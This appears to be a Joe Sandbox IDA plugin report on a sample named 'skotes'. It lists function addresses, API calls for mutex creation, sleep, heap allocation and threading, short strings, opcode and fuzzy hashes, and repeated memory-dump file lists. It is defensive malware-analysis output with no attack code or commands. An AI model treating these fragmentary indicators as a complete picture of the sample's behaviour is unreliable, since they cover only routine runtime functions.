Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~$tB_D$S_D
API String ID: 1464230837-3299340654
Opcode ID: 90d5ac36956ed198bfaf67587b8423c5571e010764c3b75a06d2472605da2da7
Instruction ID: 6578725665109e9a85084dc438a8084df2891a964520966ac614e56e9c59ad45
Opcode Fuzzy Hash: 90d5ac36956ed198bfaf67587b8423c5571e010764c3b75a06d2472605da2da7
Instruction Fuzzy Hash: AD214B313C9100EAFB2977A8988EB2DB351DF91300F244917E144D73C2EA7E988093B3

Function 0078A34F Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970
S_D, xrefs: 0078A989
tB_D, xrefs: 0078A998

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~$tB_D$S_D
API String ID: 1464230837-3299340654
Opcode ID: ccf9118b6958faee754a18ed54f45fd1e2b738dac9c8e53df1979a62a96c9481
Instruction ID: ca289623cd717a531eb84e513b15b2c411decada0c00c65cd63ffd513922e5a7
Opcode Fuzzy Hash: ccf9118b6958faee754a18ed54f45fd1e2b738dac9c8e53df1979a62a96c9481
Instruction Fuzzy Hash: E9213A32695200ABFB18BB68EC8976CF766EB95310F24821BE444D77D1D77E69808352

Function 007BD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,007BA813,00000001,00000364,00000006,000000FF,?,007BEE3F,?,00000004,00000000,?,?), ref: 007BD871

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: eb1ad95529a0eaecbc4e43656673cc1dcd73c29542d09df88981ef728d061fe0
Instruction ID: 6c8a2c4b5e7bd3ca1a6b207cadca37090325e5e375dfa8dcd093f8c4582437b1
Opcode Fuzzy Hash: eb1ad95529a0eaecbc4e43656673cc1dcd73c29542d09df88981ef728d061fe0
Instruction Fuzzy Hash: 11F02732601224A6EB312A769C09BDB3759DF857B2B188021FD08EB181FB3CEC0086E0

Non-executed Functions

Function 00782EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00782F5F
GetCurrentThreadId.KERNEL32 ref: 00782F7E
__Mtx_unlock.LIBCPMT ref: 00782FCC
__Cnd_broadcast.LIBCPMT ref: 00782FE3
__Mtx_unlock.LIBCPMT ref: 007830F5
GetCurrentThreadId.KERNEL32 ref: 00783132
__Mtx_unlock.LIBCPMT ref: 0078319B

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 5c3d65db8751ba17445fcb1787d165ded7d679a84cf395d7f5a8d2003cfae295
Instruction ID: ff67522a08937435a8a55695b149d02fc572c86e0c9c8ba664eee9b9bf842f70
Opcode Fuzzy Hash: 5c3d65db8751ba17445fcb1787d165ded7d679a84cf395d7f5a8d2003cfae295
Instruction Fuzzy Hash: 4AA104B0A41609DFDF11EF68D948B5AB7B8FF14B20F048129E815D7241EB39EA05CBD1

Function 007BCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007BCC66

Strings

v{, xrefs: 007BCBE1

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v{
API String ID: 3213747228-1518592600
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 77ac5c4256ab6070df1f60937f3493894eb0182b6ea6c90476419967f83aec47
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: D7B10532A04686DFDB16CF28C885BEEBFE5EF55350F14816AE855EB242D6389D01CB60

Function 0079BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0079BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0079BBE4
_xtime_get.LIBCPMT ref: 0079BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0079BC13

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

